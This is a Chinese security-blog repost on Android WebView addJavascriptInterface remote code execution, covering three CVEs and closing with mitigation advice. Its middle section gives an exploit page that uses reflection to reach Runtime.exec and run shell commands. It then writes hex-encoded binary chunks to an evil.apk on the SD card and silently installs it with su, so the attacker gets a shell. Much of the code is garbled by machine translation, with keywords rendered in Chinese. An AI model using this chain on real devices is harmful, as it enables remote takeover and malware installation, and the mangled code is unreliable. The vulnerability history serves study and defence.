少客联盟攻防社区开放注册中(https://www.cnsuc.net/)
一、前言
java语言的android系统,有一个Java语言组件存在的问题,组件就是其中的一个组件,其中一个组件就是一个Android应用程序,并在其内部与web界面进行Web查看并显示控件的开发,就像在软件内部嵌入的组件浏览器由于其中的使用方式和场景的多样性,组件的出现虽然已经被多个复杂的网络查看了许多重大漏洞,但随着 android 版本的换代升级,它的使用规范也被 android 官方不断的修复。
二、java与javascript
webview常对url的请求页面、渲染、页面使用等。
webview加载js又分为:本地加载(file:///android_asset/obj.html)、远程加载(https://vps:8080/exp.html)
直接加载url:
公共 类 MainActivity 扩展 AppCompatActivity {
WebView webView ;
@Override
protected void onCreate ( Bundle savedInstanceState ) {
super . onCreate ( savedInstanceState );
setContentView ( R.layout.activity_main ) ; _ _ _ webView = ( WebView ) findViewById ( R . id . web_view ); 网络视图。
获取设置()。setJavaScriptEnabled (真);
网络视图。loadUrl ( "https://www.baidu.com" );
} }
本地加载js:
公共 类 MainActivity 扩展 AppCompatActivity {
WebView webView ;
@Override
protected void onCreate ( Bundle savedInstanceState ) {
super . onCreate ( savedInstanceState );
setContentView ( R.layout.activity_main ) ; _ _ _ webView = ( WebView ) findViewById ( R . id . web_view ); 网络视图。
获取设置()。setJavaScriptEnabled (真);
// 通过addJavascriptInterface()将Java对象映射到JS对象
// 参数1:Javascript对象名
// 参数2:Java对象名
webView . addJavascriptInterface ( MainActivity . this , "main" );
网络视图。loadUrl ( "file:///android_asset/js.html" );
}
/** * 接口在Webview中供JS调用 */
// 定义JS调用的方法,被JS调用的方法加入@JavascriptInterface注解,API 17必须不添加需要注释仍可以调用
@JavascriptInterface
public void jsCallJava (字符串 消息){
吐司。makeText (这个, 消息, 吐司。LENGTH_SHORT )。显示();}
}
资产文件夹下js.html:
<!DOCTYPE html> < html > < head >
< meta charset = "utf-8" >
< title > testjs </ title >
< script >
</ script > </ head > < body >
<!--点击按钮则调用jsCallJava函数-->
< button type = "button" onClick = "window.main.jsCallJava('Message From Js')" > Js调用Java </按钮></正文> </ html >
整个实现过程中,利用机制调用了app
main
下的点击,传递jsCallJava
方法提供了通过窗口Message From Js
的回调为弹幕实现的功能。
点击实现java与JS的链接:
远程加载JS:
网络视图。loadUrl ( "http://192.168.50.177:8080/js.html" ); // http只会加载的url更改为访问,并且将js.html监听Python HttpServer下进行
三、漏洞探测
java安全的都知道远程,由于案例中并没有对addJavascriptInterface
进行限制,所以可以利用反射机制调用Android API getRuntime执行代码。
POC:
<!DOCTYPE html> < html > < head > < meta charset = "UTF-8" /> < title > WebView漏洞检测</ title > < meta name = "viewport" content = "width=device-width, initial- scale=1.0, maximum-scale=1.0, user-scalable=0" > </ head > < body > < p >提示:如何检测出“accessibility”和“accessibilityTraversal”接口----设置-辅助功能-开启系统或附属服务<br > <br> _< b >< font color = red如果当前存在漏洞修改, >在布局中的接口输出方便:</ font ></ b > </ p > < script type = "text /javascript" > function check () {
//遍历window对象,是为了找到包含的对象/
因为AndroidJS的对象对象/窗口中,所以肯定会遍历到
for ( var obj in window )
{
尝试 {
if ( "getClass" in window [ obj ]) {
尝试{
窗口[ obj ]。获取类();
文件。写('<span style="color:red">' + obj + '</span>' );
文件。写('<br/>' );
}捕捉( e ){
}
}
} 捕捉( e ) {
}
} }检查(); </脚本> </正文> </ html >
经验:
<脚本 类型= "文本/javascript" >
var i = 0 ;
函数 getContents ( inputStream )
{
var contents = "" + i ;
变量 b = 输入流。读();
变量 i = 1 ;
而( b != - 1 ) {
var bString = String . fromCharCode ( b );
内容 += bString ;
内容 += "n"
b = inputStream 。读();
}
我=我+ 1 ;
返回 内容;
}
函数 执行( cmdArgs )
{
for ( var obj in window ) {
控制台。日志(对象);
if ( "getClass" in window [ obj ]) {
alert ( obj );
返回 窗口[ obj ]。获取类()。forName (“java.lang.Runtime” )。getMethod ( "getRuntime" , null )。调用(空,空)。执行( cmdArgs ) ; } } }
var res = 执行([ "/system/bin/sh" , "-c" , "ls -al /sdcard" ]);
文件。写(getContents (res.getInputStream ()));</脚本>
才刚开始需要如此反弹,但我却是android4.1操作系统,等着壳的命令,只能通过落地马执行没有上线。
第一种方法是安装木马apk,安装后需要用户主动上线;
另一个木方法是通过一个远程测试马文件,然后执行上线。
第一次时效不好,所以我们有多种不同的性。
var bin = "\x50\x4b\x03\x04\x14\x85\xbe\x86\xbe\x83\x5e\x40\x3f\x42\xbf- -------\x40\x7f"
执行([ "/system/bin/sh" , "-c" , "echo '" + bin + "' > /data/data/com.example. webviewtest/testBin" ]);
执行([ “chmod” ,“755” ,“/data/data/com.example.webviewtest/testBin” ]);
执行([ “/data/data/com.example.webviewtest/testBin” ]);
生成相应的过程生成系统版本(x86/x86)的elf
,再将代码转为16格式的shell格式(必须是\x),加载的js代码实现。app安装后,可以实现瞬间开启上线
在我想要限制代码注入过程中的apk文件,尝试测试shellcode大小,发现测试发现shellcode加载不完整,整个webview页面会卡住,并不能实现正常上线效果,所以通过分步插入显示文件步写入apk shellcode,具体实现如下:
var armBinary1 = "\x50\x4b\x03\x04\x14\x42\xbf--------\x40\x7f" var armBinary2 = "\x93\x9a \xff\xa2\x56--------\x5f\x0a\x3d\" var armBinary3 = "\xdb\x06\x00\x00\x0c\ x1c--------\\x00\x00\x13" var armBinary4 = "\x2e\x78\x6d\x6c\xad\x97------- -\\xcb\x00\x00\x00"执行([ "/system/bin/sh" , "-c" , "echo -n '" + armBinary1 + "' > /mnt/sdcard/evil.apk" ]); 执行([ "/system/bin/sh" , "-c" , "echo -n '" + armBinary2 + "' >> /mnt/sdcard/evil.apk" ]); 执行([ "/system/bin/sh" , "-c" , "echo -n '" + armBinary3 + "' >> /mnt/sdcard/evil.apk" ]);+ armBinary4 + "' >> /mnt/sdcard/evil.apk" ]); 执行([ "su" , "-c" , "pm install -r /mnt/sdcard/evil.apk" ]);
通过将shellcode部分,再对文件进行附加写入,pm install 指定安装位置下的恶意apk。
项目地址:Android-webview-inject-shell
四、Webview历史发展
在API级别16时android系统对webView.addJavascriptInterface
并没有进行任何故障,漏洞编号:CVE-2012-6336(Android <= 4.1.2)
出现第一个RCE漏洞之后,android为了阻止java层的函数被随意添加,规定调用的函数必须以@JavascriptInterface
进行处理,并且不能随意给Java层函数@JavascriptInterface
防护建议:
不要使用类似的接口,使用Javascript接口带来接口的安全接口,如果一定要使用Javascript接口:
-
如果使用HTTPS协议加载URL,应进行阻止访问的页面被篡改挂马
-
如果使用 HTTP 协议加载进行过滤、URL 被屏蔽等应阻止访问的修改
-
如果本地 Htt 应将 html 构建在 APK 中,以及对 html 页面中进行加载的校验,
2014年发现远程系统中的接口存在执行代码漏洞,漏洞编号:CVE-2014-1939java/android/webkit/BrowserFrame.java
(Android <= 4.3.1)searchBoxJavaBridge_
防护建议:移除存在漏洞的接口
removeJavascriptInterface ( "searchBoxJavaBridge_" );
同年香港研究人员发现webkit中默认接口java/android/webkit/AccessibilityInjector.java
,分别是和,调用这个组件的应用在开启辅助功能可选中远程服务的安卓系统会导致代码执行漏洞。编号:CVEaccessibility
-2014-7224 (安卓 <= 4.4)accessibilityTraversal
removeJavascriptInterface (“可访问性” );removeJavascriptInterface ( "accessibilityTraversal" );
五、总结
通过 java 的网关组件未在安全组件中进行保护,4 存在于网关中的存在。
六、参考
关于Android中WebView远程代码执行浅析
Android WebView 漏洞
来源:先知(https://xz.aliyun.com/t/11505#toc-0)
注:如有绘画请联系删除
欢迎大家一起加群讨论学习和交流
快乐要懂得分享,
加倍的快乐。
原文始发于微信公众号(衡阳信安):Android Webview漏洞初探
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论